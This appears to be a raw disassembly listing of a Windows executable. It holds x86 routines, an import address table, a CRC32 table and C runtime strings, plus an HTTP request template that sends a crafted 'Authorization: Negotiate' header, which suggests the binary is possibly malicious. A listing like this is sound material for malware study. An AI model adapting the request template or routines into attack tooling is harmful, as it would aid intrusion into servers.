		push	[ebp+arg_18]
		nop
		call	near ptr 27F116Ah
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 25F0526h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0526h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27F116Ah
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27F116Ah
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2600000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25C10E4h, 25D0000h, 25D07F5h, 25E0000h, 25E0AFDh
		dd 25F0000h, 25F0466h, 25F0526h, 2600000h, 2600766h, 2600D1Dh
		dd 2610000h, 26107BEh, 2610A21h
dword_42703C	dd 2610A5Eh		; DATA XREF: ___:004231D9r
		dd 2610B17h, 2610D94h, 2610DDAh, 2620000h, 2630000h, 2640000h
		dd 2650000h, 265036Ch, 2650918h, 77E75CB5h
dword_427068	dd 265092Ah		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650BFCh, 2660000h, 2670000h
dword_427078	dd 26705B3h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670659h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2670881h
dword_427084	dd 267090Eh		; DATA XREF: sub_4196BC+B9r
		dd 2670F83h
dword_42708C	dd 2680000h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680043h		; DATA XREF: ___:loc_4013DCr
		dd 2680399h, 26804D6h
dword_42709C	dd 268056Eh		; DATA XREF: sub_409B12+2r
		dd 268065Ah, 26806FCh
dword_4270A8	dd 2680D12h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2680DC8h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690C0Ah
dword_4270B8	dd 2690CB0h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C055Ah, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D0578h, 26D070Fh, 26E0000h, 26E0952h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F0867h		; DATA XREF: sub_418293+36r
		dd 26F0B2Fh, 2700000h
dword_4270F8	dd 2700543h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 271158Ah, 2720000h, 2720A09h, 2730000h, 2730767h, 2740000h
		dd 2750000h, 2760000h, 2770000h, 277032Fh, 27703C3h, 27704B0h
		dd 2780000h, 2780332h, 278064Eh
dword_42713C	dd 278098Fh		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0A09h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0AAEh
dword_427150	dd 27A0CD3h		; DATA XREF: sub_417275+56r
		dd 27B0000h, 27C0000h, 27C10BBh, 27C16E2h, 27D0000h, 27D032Dh
		dd 27D04CAh, 27E0000h, 27E06EBh, 27F0000h
dword_42717C	dd 27F116Ah		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2800000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2801157h, 28015A1h, 2801A35h, 2810000h, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 2871AFFh, 2871B21h
		dd 2880000h, 2890000h, 2890191h
dword_4271C0	dd 289079Ah		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 2890966h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2890AF8h, 28A0000h, 28A06F8h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
